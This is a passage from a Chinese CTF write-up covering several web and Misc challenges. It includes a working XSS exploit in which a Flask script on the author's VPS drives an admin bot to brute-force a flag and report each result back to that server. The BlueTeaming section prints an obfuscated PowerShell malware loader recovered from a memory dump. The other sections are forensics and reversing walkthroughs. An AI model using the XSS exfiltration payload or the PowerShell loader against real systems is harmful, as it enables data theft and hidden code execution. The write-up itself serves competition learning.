for (let i = 0; i < dataArray.length && i < flagArray.length; i++) {
if (dataArray[i] !== flagArray[i]) {
check = false;
break;
}
}
if (check) {
res.status(200).send(req.query.var);
} else {
res.status(500).send("Keyword Error!");
}
});
} else {
res.status(500).send("Sorry, you are not admin!");
}
});
`/flag` 路由对输入的逐个字符与 flag 的这么多个（输入的）长度的字符进行比较，如果每一位都相同则返回 200，否则返回 500.
访问 `/about?theme=xxxxx` 发现存在 XSS。不过过滤了一些东西，比如 空格可以用 `%09` 绕过之类。
根据提示 flag 是个 UUID，于是可以按照这个格式逐位爆破，通过返回的状态来判断当前字符是否正确。
访问 `/about?theme=xxxxx` 发现存在 XSS。不过过滤了一些东西，比如 空格可以用 `%09` 绕过之类。
于是就在 VPS 上跑个脚本，分成功和失败两个路由，让 bot 访问自己的 `/flag` 路由。
如果成功返回则调用 Ajax 去请求 VPS 上的 success 路由，否则请求 error 路由，并通过参数返回当前爆破的 flag。
exp：
from flask import Flask
from flask import request
import requests
import urllib.parse
app = Flask(__name__)
@app.route("/success")
def index():
global cookies
global url
data = request.args.get('a')
if len(data) == 13 or len(data) == 18 or len(data) == 23 or len(data) == 28:
data += "-0"
else:
data += "0"
p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''
p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)
d = {
"url": p
}
requests.post(url, data=d, cookies=cookies)
return "Hello World!"
@app.route("/error")
def index2():
global cookies
global url
data = request.args.get('a')
tmp = data[:-1]
if data[-1] == "9":
tmp += "a"
else:
tmp += chr(ord(data[-1]) + 1)
data = tmp
p = '''";t="''' + data +'''",$.ajax({url:"/flag?var="+t}).done(function(o){window.location="http://自己的VPS/success?a="+t}).fail(function(){window.location="http://自己的VPS/error?a="+t});//'''
p = "http://localhost:8888/about?theme=" + urllib.parse.quote(p)
d = {
"url": p
}
requests.post(url, data=d, cookies=cookies)
return "Hello World!"
cookies = {"session":"s%3ASuDwPHFP03I6VDRGiad8Zzst0owLeQY_.MjxB%2BTBwTgesKkEE9dIR95EoJPMuNNh%2BOZFw6ajDMm0"}
# url = "http://47.104.210.56:8888/report"
url = "http://47.104.192.54:8888/report"
app.run(host='0.0.0.0', port=80)
让 bot 从 `0` 开始访问，虽然容器固定时间重启，但是 flag 是静态的 uuid，所以就是时间问题了。
最后根据 VPS 上的访问记录就能得到 flag 了。
* * *
## Misc
### BlueTeaming
> Powershell scripts were executed by malicious programs. What is the registry
> key that contained the power shellscript content?（本题flag为非正式形式）
>
> [附件下载](https://pan.baidu.com/s/1itThwJT5kCw-RG3YnandOQ)
> 提取码（GAME）[备用下载](https://share.weiyun.com/qWoVMafc)
>
> 压缩包解压密码：fantasicqwb2021
首先使用 volatility 将内存中的 register hive 导出来.
volatility -f memory.dmp --profile Win7SP1x64 hivelist
volatility -f memory.dmp --profile Win7SP1x64 dumpregistry -D .
题目中说到可能和 powershell 恶意程序有关系，那么优先考虑 SOFTWARE 专用的字符串，使用 WRR.exe
工具检查注册表，然后全局搜索一些常见的恶意软件字段，比如 -IEX, encode decompress new-object
等等，最终能够找到恶意软件存放的注册表位置
搜到一个路径是`CMI-CreateHive{199DAFC2-6F16-4946-BF90-5A3FC3A60902}\Microsoft\Windows\Communication`
恶意脚本是
& ( $veRBOsepReFErEncE.tOstrINg()[1,3]+'x'-JOin'')( nEW-ObjEcT sySTEm.iO.sTreaMReAdER( ( nEW-ObjEcT SystEm.iO.CompreSsiOn.DEfLATEstREam([IO.meMoryStream] [CoNVeRT]::fROMbASe64StRinG('NVJdb5tAEHyv1P9wQpYAuZDaTpvEVqRi+5Sgmo/Axa0VRdoLXBMUmyMGu7Es//fuQvoAN7e7Nzua3RqUcJbgQVLIJ1hzNi/eGLMYe2gOFX+0zHpl9s0Uv4YHbnu8CzwI8nIW5UX4bNqM2RPGUtU4sPQSH+mmsFbIY87kFit3A6ohVnGIFbLOdLlXCdFhAlOT3rGAEJYQvfIsgmAjw/mJXTPLssxsg3U59VTvyrT7JjvDS8bwN8NvbPYt81amMeItpi1TI3omaErK0fO5bNr7LQVkWjYkqlZtkVtRUK8xxAQxxqylGVwM3dFX6jtw6TgbnrPRCMFlm75i3xAPhq2aqUnNKFyWqhNiu0bC4wV6kXHDsh6yF5k8Xgz7Hbi6+ACXI/vLQyoSv7x5/EgNbXvy+VPvOAtyvWuggvuGvOhZaNFS/wTlqN9xwqGuwQddst7Rh3AfvQKHLAoCsq4jmMJBgKrpMbm/By8pcDQLzlju3zFn6S12zB6PjXsIfcj0XBmu8Qyqma4ETw2rd8w2MI92IGKU0HGqEGYacp7/Z2U+CB7gqJdy67c2dHYsOA0H598N33b3cr3j2EzoKXgpiv1+XjfbIryhRk+wakhq16TSqYhpKcHbpNTox9GYgyekcY0KcFGyKFf56YTF7drg1ji/+BMk/G7H04Y599sCFW3+NG71l0aXZRntjFu94FGhHidQzYvOsSiOaLsFxaY6P6CbFWioRSUTGdSnyT8=' ) , [IO.coMPressION.cOMPresSiOnmOde]::dEcOMPresS)), [TexT.ENcODInG]::AsCIi)).ReaDToeNd()
flag是 `HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Communication`
### CipherMan
> The attacker maliciously accessed the user’s PC and encrypted specific
> volumes. How to decrypt the volume?（本题flag为非正式形式）
>
> [附件下载](https://pan.baidu.com/s/1G2zgTROW7-h7nZ0Cfct-4g)
> 提取码（GAME）[备用下载](https://share.weiyun.com/SQfdghDG)
>
> 压缩包解压密码：fantasicqwb2021
BitLocker 드라이브 암호화 복구 키
복구 키는 BitLocker로 보호되는 드라이브에서 데이터를 검색하기 위해 사용됩니다.
이 키가 올바른 복구 키인지 확인하려면 복구 화면에 표시된 것과 ID를 비교하십시오.
복구 키 ID: 168F1291-82C1-4B
전체 복구 키 ID: 168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker 복구 키:
221628-533357-667392-449185-516428-718443-190674-375100
BitLocker驱动器加密恢复键
恢复密钥用于在被保护为BitLocker的驱动器中搜索数据。
如果您想确认此密钥是否正确，请比较恢复屏幕上显示的和ID。
恢复密钥ID:168F1291-82C1-4B
整体恢复密钥ID:168F1291-82C1-4BF2-B634-9CCCEC63E9ED
BitLocker恢复键：
221628-533357-667392-449185-516428-718443-190674-375100
DiskGenius 解密
Wow，you have a great ability. How did you solve this? Are you a hacker? Please give me a lesson later.
找了半天最后发现这个内容就是 flag。。
> 赛后发现是原题
>
> [Digital Forensic Challenge 2018 VOI200 문제
> 풀이](https://whitesnake1004.tistory.com/675)
### ExtremelySlow
> [附件下载](https://pan.baidu.com/s/19pn6uALdsyInuUMXPEMmuQ)
> 提取码（GAME）[备用下载](https://share.weiyun.com/NcvTkpC3)
>
> 压缩包解压密码：fantasicqwb2021
首先是一个流量包，里面全是 TCP 和 HTTP 流量。而且是 206 分段传输，每个包传 1byte。
于是先导出为 JSON，然后写个脚本提取其中的每个 byte，最后合并得到一个二进制文件。
wireshark 直接导出的 JSON 里 `http.response.line` 包含多个，如果直接用 `json.loads`
只保留最后一个了，所以先要去掉无关的内容。
import json
import re
with open('http.json', 'r', encoding='utf-8') as fin:
s = fin.read()
re_num = re.compile(
r'\"http\.response\.line\": \"content-range: bytes (\d+)-\d+/1987\\r\\n\"')
re_nonnum = re.compile(
r'(\"http\.response\.line\": (?!\"content-range: bytes (\d+)-\d+/1987\\r\\n\",).*)')
s1 = re.sub(re_nonnum, '', s)
with open('http_sub.json', 'w', encoding='utf-8') as fout:
fout.write(s1)
http = json.loads(s1)
total = [b''] * 1987
# total = [''] * 1987
idx_list = []
for x in http:
source = x['_source']
layers = source['layers']
# get data
data = layers['data']['data.data']
data = bytes([int(data, 16)])
# find index
n = layers['http']['http.response.line']
idx = int(re.search(r'(\d+)-\d+/1987', n)[1])
idx_list.append(idx)
total[idx] = data
print(total)
t = b''.join(total)
# t = ''.join(total)
# print(len(t)/2)
with open('decode.pyc', 'wb') as f:
f.write(t)
# with open('decode1.pyc', 'w') as f:
# f.write(t)
或者直接命令行用 tshark 更快，不过当时就没想到这么写喵呜呜呜。
按 index 把这个合并就行，bash 脚本类似这样
tshark -r ExtremelySlow.pcapng -T fields -e data -Y "http.response.line == \"content-range: bytes $idx-$idx/1987\x0d\x0a\"" 2>/dev/null
根据文件内容得知是个 pyc 文件。
但是直接拿在线工具或者 uncompyle6 反编译都不成，发现 magic number 有误。
> 参考
>
> [Python’s magic numbers](http://www.robertholmes.org/2018/09/08/pythons-> magic-numbers.html)
>
> [Python Uncompyle6 反编译工具使用 与 Magic Number
> 详解](https://blog.csdn.net/Zheng__Huang/article/details/112380221)
>
> <https://github.com/google/pytype/blob/master/pytype/pyc/magic.py>
>
> [Understanding Python
> Bytecode](https://towardsdatascience.com/understanding-python-> bytecode-e7edaae8734d)
可以发现文件头的这个 magic number 是随版本号递增的，而且比最新的 3.9.5 跨了一大截。
于是考虑拉个 py3.10 的镜像下来。
docker run --rm -it python:3.10.0b2
根据 magic number 确定就是最新的 Python 3.10.0b2
但还是需要反编译这个pyc
[uncompyle6](https://github.com/rocky/python-uncompyle6/)
<https://pypi.org/project/uncompyle6/> 目前只支持 python 2.4-3.8
<https://github.com/rocky/python-decompile3> 不行
dis 可
>>> import marshal, dis
>>> with open('decode.pyc','rb') as f:
... metadata = f.read(16)
... code_obj = marshal.load(f)
...
>>> dis.dis(code_obj)
4 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (None)
4 IMPORT_NAME 0 (sys)
6 STORE_NAME 0 (sys)
6 8 LOAD_CONST 0 (0)
10 LOAD_CONST 2 (('sha256',))
12 IMPORT_NAME 1 (hashlib)
14 IMPORT_FROM 2 (sha256)
16 STORE_NAME 2 (sha256)
18 POP_TOP
16 20 LOAD_CONST 3 (<code object KSA at 0x7f1199dc7890, file "main.py", line 6>)
22 LOAD_CONST 4 ('KSA')
24 MAKE_FUNCTION 0
26 STORE_NAME 3 (KSA)
26 28 LOAD_CONST 5 (<code object PRGA at 0x7f1199dc7940, file "main.py", line 16>)
30 LOAD_CONST 6 ('PRGA')
32 MAKE_FUNCTION 0
34 STORE_NAME 4 (PRGA)
30 36 LOAD_CONST 7 (<code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>)
38 LOAD_CONST 8 ('RC4')
40 MAKE_FUNCTION 0
42 STORE_NAME 5 (RC4)
33 44 LOAD_CONST 9 (<code object xor at 0x7f1199dd4500, file "main.py", line 30>)
46 LOAD_CONST 10 ('xor')
48 MAKE_FUNCTION 0
50 STORE_NAME 6 (xor)
34 52 LOAD_NAME 7 (__name__)
54 LOAD_CONST 11 ('__main__')
56 COMPARE_OP 2 (==)
58 POP_JUMP_IF_FALSE 139 (to 278)
35 60 LOAD_CONST 12 (b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f')
62 STORE_NAME 8 (w)
38 64 LOAD_CONST 13 (b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~')
66 STORE_NAME 9 (e)
39 68 LOAD_CONST 14 (b'geo')
70 STORE_NAME 10 (b)
41 72 LOAD_CONST 15 (b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141')
74 STORE_NAME 11 (s)
42 76 LOAD_CONST 16 (b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1")
78 STORE_NAME 12 (t)
43 80 LOAD_CONST 17 (115)
82 LOAD_CONST 18 (97)
84 LOAD_CONST 19 (117)
86 LOAD_CONST 20 (114)
88 LOAD_CONST 21 ((2, 8, 11, 10))
90 BUILD_CONST_KEY_MAP 4
92 STORE_NAME 13 (m)
44 94 LOAD_CONST 22 (119)
96 LOAD_CONST 23 (116)
98 LOAD_CONST 24 (124)
100 LOAD_CONST 25 (127)
102 LOAD_CONST 26 ((3, 7, 9, 12))
104 BUILD_CONST_KEY_MAP 4
106 STORE_NAME 14 (n)
45 108 LOAD_NAME 13 (m)
110 LOAD_CONST 27 (<code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>)
112 LOAD_CONST 28 ('<dictcomp>')
114 MAKE_FUNCTION 0
116 LOAD_NAME 14 (n)
118 GET_ITER
120 CALL_FUNCTION 1
122 INPLACE_OR
124 STORE_NAME 13 (m)
47 126 LOAD_NAME 13 (m)
128 LOAD_CONST 29 (<code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>)
130 LOAD_CONST 30 ('<genexpr>')
132 MAKE_FUNCTION 0
134 LOAD_NAME 10 (b)
136 GET_ITER
138 CALL_FUNCTION 1
140 INPLACE_OR
142 STORE_NAME 13 (m)
48 144 LOAD_NAME 5 (RC4)
146 LOAD_NAME 15 (list)
148 LOAD_NAME 16 (map)
150 LOAD_CONST 31 (<code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>)
152 LOAD_CONST 32 ('<lambda>')
154 MAKE_FUNCTION 0
156 LOAD_NAME 17 (sorted)
158 LOAD_NAME 13 (m)
160 LOAD_METHOD 18 (items)
162 CALL_METHOD 0
164 CALL_FUNCTION 1
166 CALL_FUNCTION 2
168 CALL_FUNCTION 1
170 CALL_FUNCTION 1
172 STORE_NAME 19 (stream)
49 174 LOAD_NAME 20 (print)
176 LOAD_NAME 6 (xor)
178 LOAD_NAME 8 (w)
180 LOAD_NAME 19 (stream)
182 CALL_FUNCTION 2
184 LOAD_METHOD 21 (decode)
186 CALL_METHOD 0
188 CALL_FUNCTION 1
190 POP_TOP
50 192 LOAD_NAME 0 (sys)
194 LOAD_ATTR 22 (stdin)
196 LOAD_ATTR 23 (buffer)
198 LOAD_METHOD 24 (read)
200 CALL_METHOD 0
202 STORE_NAME 25 (p)
52 204 LOAD_NAME 6 (xor)
206 LOAD_NAME 9 (e)
208 LOAD_NAME 19 (stream)
210 CALL_FUNCTION 2
212 STORE_NAME 9 (e)
53 214 LOAD_NAME 6 (xor)
216 LOAD_NAME 25 (p)
218 LOAD_NAME 19 (stream)
220 CALL_FUNCTION 2
222 STORE_NAME 26 (c)
54 224 LOAD_NAME 2 (sha256)
226 LOAD_NAME 26 (c)
228 CALL_FUNCTION 1
230 LOAD_METHOD 27 (digest)
232 CALL_METHOD 0
234 LOAD_NAME 11 (s)
236 COMPARE_OP 2 (==)
238 POP_JUMP_IF_FALSE 131 (to 262)
56 240 LOAD_NAME 20 (print)
242 LOAD_NAME 6 (xor)
244 LOAD_NAME 12 (t)
246 LOAD_NAME 19 (stream)
248 CALL_FUNCTION 2
250 LOAD_METHOD 21 (decode)
252 CALL_METHOD 0
254 CALL_FUNCTION 1
256 POP_TOP
258 LOAD_CONST 1 (None)
260 RETURN_VALUE
33 >> 262 LOAD_NAME 20 (print)
264 LOAD_NAME 9 (e)
266 LOAD_METHOD 21 (decode)
268 CALL_METHOD 0
270 CALL_FUNCTION 1
272 POP_TOP
274 LOAD_CONST 1 (None)
276 RETURN_VALUE
>> 278 LOAD_CONST 1 (None)
280 RETURN_VALUE
Disassembly of <code object KSA at 0x7f1199dc7890, file "main.py", line 6>:
8 0 LOAD_GLOBAL 0 (len)
2 LOAD_FAST 0 (key)
4 CALL_FUNCTION 1
6 STORE_FAST 1 (keylength)
9 8 LOAD_GLOBAL 1 (list)
10 LOAD_GLOBAL 2 (range)
12 LOAD_CONST 1 (256)
14 CALL_FUNCTION 1
16 CALL_FUNCTION 1
18 STORE_FAST 2 (S)
10 20 LOAD_CONST 2 (0)
22 STORE_FAST 3 (j)
11 24 LOAD_GLOBAL 2 (range)
26 LOAD_CONST 1 (256)
28 CALL_FUNCTION 1
30 GET_ITER
>> 32 FOR_ITER 29 (to 92)
34 STORE_FAST 4 (i)
12 36 LOAD_FAST 3 (j)
38 LOAD_FAST 2 (S)
40 LOAD_FAST 4 (i)
42 BINARY_SUBSCR
44 BINARY_ADD
46 LOAD_FAST 0 (key)
48 LOAD_FAST 4 (i)
50 LOAD_FAST 1 (keylength)
52 BINARY_MODULO
54 BINARY_SUBSCR
56 BINARY_ADD
58 LOAD_CONST 1 (256)
60 BINARY_MODULO
62 STORE_FAST 3 (j)
13 64 LOAD_FAST 2 (S)
66 LOAD_FAST 3 (j)
68 BINARY_SUBSCR
70 LOAD_FAST 2 (S)
72 LOAD_FAST 4 (i)
74 BINARY_SUBSCR
76 ROT_TWO
78 LOAD_FAST 2 (S)
80 LOAD_FAST 4 (i)
82 STORE_SUBSCR
84 LOAD_FAST 2 (S)
86 LOAD_FAST 3 (j)
88 STORE_SUBSCR
90 JUMP_ABSOLUTE 16 (to 32)
>> 92 LOAD_FAST 2 (S)
94 RETURN_VALUE
Disassembly of <code object PRGA at 0x7f1199dc7940, file "main.py", line 16>:
17 0 GEN_START 0
18 2 LOAD_CONST 1 (0)
4 STORE_FAST 1 (i)
19 6 LOAD_CONST 1 (0)
8 STORE_FAST 2 (j)
20 10 NOP
21 >> 12 LOAD_FAST 1 (i)
14 LOAD_CONST 3 (1)
16 BINARY_ADD
18 LOAD_CONST 4 (256)
20 BINARY_MODULO
22 STORE_FAST 1 (i)
22 24 LOAD_FAST 2 (j)
26 LOAD_FAST 0 (S)
28 LOAD_FAST 1 (i)
30 BINARY_SUBSCR
32 BINARY_ADD
34 LOAD_CONST 4 (256)
36 BINARY_MODULO
38 STORE_FAST 2 (j)
23 40 LOAD_FAST 0 (S)
42 LOAD_FAST 2 (j)
44 BINARY_SUBSCR
46 LOAD_FAST 0 (S)
48 LOAD_FAST 1 (i)
50 BINARY_SUBSCR
52 ROT_TWO
54 LOAD_FAST 0 (S)
56 LOAD_FAST 1 (i)
58 STORE_SUBSCR
60 LOAD_FAST 0 (S)
62 LOAD_FAST 2 (j)
64 STORE_SUBSCR
24 66 LOAD_FAST 0 (S)
68 LOAD_FAST 0 (S)
70 LOAD_FAST 1 (i)
72 BINARY_SUBSCR
74 LOAD_FAST 0 (S)
76 LOAD_FAST 2 (j)
78 BINARY_SUBSCR
80 BINARY_ADD
82 LOAD_CONST 4 (256)
84 BINARY_MODULO
86 BINARY_SUBSCR
88 STORE_FAST 3 (K)
19 90 LOAD_FAST 3 (K)
92 YIELD_VALUE
94 POP_TOP
96 JUMP_ABSOLUTE 6 (to 12)
Disassembly of <code object RC4 at 0x7f1199dc7aa0, file "main.py", line 26>:
28 0 LOAD_GLOBAL 0 (KSA)
2 LOAD_FAST 0 (key)
4 CALL_FUNCTION 1
6 STORE_FAST 1 (S)
8 LOAD_GLOBAL 1 (PRGA)
10 LOAD_FAST 1 (S)
12 CALL_FUNCTION 1
14 RETURN_VALUE
Disassembly of <code object xor at 0x7f1199dd4500, file "main.py", line 30>:
31 0 LOAD_GLOBAL 0 (bytes)
2 LOAD_GLOBAL 1 (map)
4 LOAD_CLOSURE 0 (stream)
6 BUILD_TUPLE 1
8 LOAD_CONST 1 (<code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>)
10 LOAD_CONST 2 ('xor.<locals>.<lambda>')
12 MAKE_FUNCTION 8 (closure)
14 LOAD_FAST 0 (p)
16 CALL_FUNCTION 2
18 CALL_FUNCTION 1
20 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7f1199dd5dc0, file "main.py", line 31>:
0 LOAD_FAST 0 (x)
2 LOAD_DEREF 0 (stream)
4 LOAD_METHOD 0 (__next__)
6 CALL_METHOD 0
8 BINARY_XOR
10 RETURN_VALUE
Disassembly of <code object <dictcomp> at 0x7f1199dd4c90, file "main.py", line 44>:
0 BUILD_MAP 0
2 LOAD_FAST 0 (.0)
>> 4 FOR_ITER 9 (to 24)
6 STORE_FAST 1 (x)
8 LOAD_FAST 1 (x)
10 LOAD_FAST 1 (x)
12 LOAD_GLOBAL 0 (n)
14 LOAD_FAST 1 (x)
16 BINARY_SUBSCR
18 BINARY_XOR
20 MAP_ADD 2
22 JUMP_ABSOLUTE 2 (to 4)
>> 24 RETURN_VALUE
Disassembly of <code object <genexpr> at 0x7f1199dd5b00, file "main.py", line 45>:
0 GEN_START 0
2 LOAD_FAST 0 (.0)
>> 4 FOR_ITER 9 (to 24)
6 STORE_FAST 1 (i)
8 LOAD_FAST 1 (i)
10 LOAD_METHOD 0 (bit_count)
12 CALL_METHOD 0
14 LOAD_FAST 1 (i)
16 BUILD_TUPLE 2
18 YIELD_VALUE
20 POP_TOP
22 JUMP_ABSOLUTE 2 (to 4)
>> 24 LOAD_CONST 0 (None)
26 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7f1199a42d90, file "main.py", line 47>:
0 LOAD_FAST 0 (x)
2 LOAD_CONST 1 (1)
4 BINARY_SUBSCR
6 RETURN_VALUE
人工手动逆向得到对应 python 代码大概如下
（有些地方没有完全按照字节码来写
import sys
from hashlib import sha256
w = b'\xf6\xef\x10H\xa9\x0f\x9f\xb5\x80\xc1xd\xae\xd3\x03\xb2\x84\xc2\xb4\x0e\xc8\xf3<\x151\x19\n\x8f'
e = b'$\r9\xa3\x18\xddW\xc9\x97\xf3\xa7\xa8R~'
b = b'geo'
s = b'}\xce`\xbej\xa2\x120\xb5\x8a\x94\x14{\xa3\x86\xc8\xc7\x01\x98\xa3_\x91\xd8\x82T*V\xab\xe0\xa1\x141'
t = b"Q_\xe2\xf8\x8c\x11M}'<@\xceT\xf6?_m\xa4\xf8\xb4\xea\xca\xc7:\xb9\xe6\x06\x8b\xeb\xfabH\x85xJ3$\xdd\xde\xb6\xdc\xa0\xb8b\x961\xb7\x13=\x17\x13\xb1"
m = {2:115, 8:97, 11:117, 10:114}
n = {3:119, 7:116, 9:124, 12:127}
def KSA(key):
keylength = len(key)
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % keylength]) % 256
S[i], S[j] = S[j], S[i]
return S
def PRGA(S):
i = 0
j = 0
while True:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
K = S[(S[i] + S[j]) % 256]
yield K
def RC4(key):
S = KSA(key)
return PRGA(S)
def xor(p,stream):
return bytes(map(lambda x:x ^ stream.__next__(), p))
# n = {2:115, 8:97, 11:117, 10:114}
# x:x^n[x] -> <dictcomp>
m |= {x: x^n[x] for x in n}
m |= ((i.bit_count(), i) for i in b)
stream = RC4(list(map(lambda m:m[1], sorted(m.items()))))
# print welcome banner...
# print(stream)
print(xor(w, stream).decode())
p = sys.stdin.buffer.readline()
e = xor(e, stream)
# print(e)
c = xor(p, stream)
if sha256(c).digest() != s: # error
print(e.decode())
exit()
print(xor(t, stream)) # true?
大约可以直到，这个地方通过爆破输入字符的长度，得到`t`的真实数据
可以发现，输入长度为 26 的时候，会提示说 `Congratulations! Now you should now what the flag
is`，这个就是 `t` 的解密结果。而其他情况都不能正确解码。
于是就去找哪里还有这个输入。
然后发现用 pyc 隐写了一部分内容，使用脚本 stegosaurus 导出 pyc 隐写。
> [一文让你完全弄懂Stegosaurus](https://zhuanlan.zhihu.com/p/51226097)
>
> <https://github.com/AngelKitty/stegosaurus>
需要魔改一下 header，python 3.10 长度是16.
另外输出的话不用转 str，直接 bytes 就好了。
得到长度为 26 的 bytes
b'\xe5\n2\xd6"\xf0}I\xb0\xcd\xa2\x11\xf0\xb4U\x166\xc5o\xdb\xc9\xead\x04\x15b'
最后将这个作为输入，然后让上述代码的 `c` 打印出来，即为 flag
`flag{P0w5rFu1_0pEn_50urcE}`
### ISO1995
> We follow ISO1995. ISO1995 has many problems though. One known problem is a
> time.
>
> [附件下载](https://pan.baidu.com/s/1vNY8AzzLVkxbq90h2cW6NQ)
> 提取码（GAME）[备用下载](https://share.weiyun.com/lkcBIbbi)
>
> 压缩包解压密码：fantasicqwb2021
下载下来以 `iso9660` 挂载
mount -t iso9660 iso1995 /mnt/随便一个目录
发现有一堆名为 `flag_fxxxxx` （xxxx为数字）的文件。
用 ultraISO 把文件导出来，发现每个文件只有一个字符。
另外根据题目提示，查看 hex 发现他每个文件名之前的 `FFFFFFFF` 之后跟着的 2bytes 都不同，怀疑是个序号或者时间之类的。
于是写个脚本提取，转成十进制作为文件名并按照这个顺序把文件内容读取出来。
import re
with open('iso1995_trunk_hex', 'r', encoding='utf-8') as fin:
s = fin.read()
s = s.strip().replace(' ', '').replace('\n', '')
print(s)
# FFFFFFFF027D08020000010000011A0066006C00610067005F006600300031003000310031003B0031003C0041040000000004410100000000000001
# FFFFFFFF001E08020000010000011A0066006C00610067005F006600300031003000300038003B0031003C003E0400000000043E0100000000000001
# FFFFFFFF011208020000010000011A0066006C00610067005F006600300030003900340032003B0031003C00FC030000000003FC0100000000000001
re_num = re.compile(
r'FFFFFFFF(\w{4})08020000010000011A0066006C00610067005F006600(\w{18})')
l = re_num.findall(s)
len(l)
# 1024
filename_list = []
for i in l:
name = int(i[0], 16)
# print(name)
filename_list.append(name)
decode_str2 = ''
for i in filename_list:
filename = f'./iso1995file/flag_f{str(i).rjust(5, "0")}'
with open(filename, 'r', encoding='utf-8') as f:
x = f.read()
print(x)
decode_str2 += x
print(decode_str2)
# !Sdk*t eiW!BJ9$QpR. pIk{V#t:NE;J8M{Qi>W%|1vw<9_*2AG\SX_6{)'n4)GwcPx8gp[6Z_'.#Y(=zCs/2*^DwpC6@=KBz\+0ngA@C(cJSiE'ShHjW,*Xu{Y>5rGyMWX_mY,htG1KLE`pNNMYd?U\SF<%O,qeVflr$,[email protected]%.@C'&I2[36?<k)N^Z0~IgP-k=L-Ip0URu_<P6T?/LF\~K~q6%76}!_WR&nojVK`KGYZwx"G4^4=&cOO0&%:QWo~cBBUM#LD$gLK?887<a$z/Xh=V(J`jus9Jw-Pmp1=[|b5;"Z{[qNI&9/.2@b>'Vxo {1)xT_'3FoRIP~O`&!K'ZAKM<Hrg$D_*>8G%UT{oN41|4P42S~6*g2KJ}o,8j/]&FimP0V2c::+{#;Bj@Cd\w9ioA&is#g#6!_9SI4Xx6rKoN ZhzD##,4!/bbB(v/Q(6ez{bKoH'-B'*hg5xq$n0xz 0v9wfbGs|[K-ana]D!+*\+`abDa7w16BySRx-#D/-a1O55Q`F<75{8f)4rlgQW]K=oT1J$Ar= W$LW9!~TphteN=b&s}.714G_8W~!@8=%gh%"K:<@7o*5+y+}+fCF'NEYN0{P4T_hz(3|Y7ZA1fsu\B6bxi#_+wKPs^C1^Ywa,{'&i]Hq+P8<WQ5sKu!abFLAG{Dir3ct0ry_jYa_n41}R:k_#z^'mT?,3$H "W+xr-Yzn-D-ribi,wKf|&$2:/q?8:jmcI|4L:+`KDx])5+A_m13/7R1VQ:[Dc&.TcvPv$tOb}X&-K'f:.<,bO~0r,=olgKP&x U %(HFjNtCDaJiHW+N1WK=(Ho_*K2<^>b<<_]~4rn=k#7i,3YHK_Z;o%8[xZy;:<1}OT1IHSn>gn`n;YI9[M't@v%}Iz0fmVl#ls+aI\: 6?|VvGHD~Q0O4{-.siztGve H<f@kXEt@WWHW",81m*S1lbQZ+mK9rB'TD^)-)0TzO6tUGf5#6bFo>L7,*oJ&wL*}.7pRx"t1vzM):FL3r@:-C1
# FLAG{Dir3ct0ry_jYa_n41}
`FLAG{Dir3ct0ry_jYa_n41}`
> 赛后发现这个又是原题。。
>
> [2020 BingoCTF – ISO
> Solution.md](https://webcache.googleusercontent.com/search?q=cache:sleibHV0ffkJ:https://gist.github.com/iidx/70bc719bf5410080801e84406189cd49+&cd=1&hl=zh-> CN&ct=clnk)
### EzTime
> Forensic.Find a file that a time attribute has been modified by a program.
> （本题flag为非正式形式）
>
> [附件下载](https://pan.baidu.com/s/1tr-n3qcYOomsSeM8fEUYVg)
> 提取码（GAME）[备用下载](https://share.weiyun.com/UhRqdXaX)
>
> 压缩包解压密码：fantasicqwb2021
解压得到 `$LogFile`、`$MFT` (Master File Table)
> [File – $LogFile (2)](https://flatcap.org/linux-> ntfs/ntfs/files/logfile.html)
>
> [NTFS Timestamp changes on Windows
> 10](https://www.forensixchange.com/posts/19_04_22_win10_ntfs_time_rules/)
>
> [Do you MFT? Here’s an MFT Overview.](https://community.rsa.com/t5/rsa-> netwitness-platform-blog/do-you-mft-here-s-an-mft-overview/ba-p/519885)
>
> <https://github.com/dkovar/analyzeMFT>
>
> <https://github.com/jschicht/LogFileParser>
最后又找到了个 [NTFS Log Tracker 工具](https://sites.google.com/site/forensicnote/ntfs-log-tracker)
导入之后可以看到相关信息
找了老半天时间参数被修改的文件，最后发现是这个（
可以把时间导出来发现秒以下都是 000000…
提交的 flag 就是
`{45EF6FFC-F0B6-4000-A7C0-8D1549355A8C}.png`
### 问卷题
`flag{Welc0me_tO_qwbS5_Hope_you_play_h4ppily}`
## 小结
好几次比赛都出了内存取证的题目了，这里正好就整理一下吧。
volatility -f winxp.raw imageinfo # 查询镜像基本信息
volatility -f winxp.raw --profile=WinXPSP3x86 pstree # 查运行进程进程树
volatility -f winxp.raw --profile=WinXPSP3x86 pslist # 查正在运行的进程
volatility -f winxp.raw --profile=WinXPSP3x86 memdump -p 324 --dump-dir . # 将PID=324的进程dump出来
volatility -f winxp.raw --profile=WinXPSP3x86 procdump -p 324 --dump-dir . # 将PID=324进程导出为exe
volatility -f winxp.raw --profile=WinXPSP3x86 dlldump -p 324 --dump-dir . # 将PID=324进程的所有DLL导出
volatility -f winxp.raw --profile=WinXPSP3x86 getsids -p 324 # 查询指定进程的SID
volatility -f winxp.raw --profile=WinXPSP3x86 dlllist -p 324 # 查询指定进程加载过的DLL
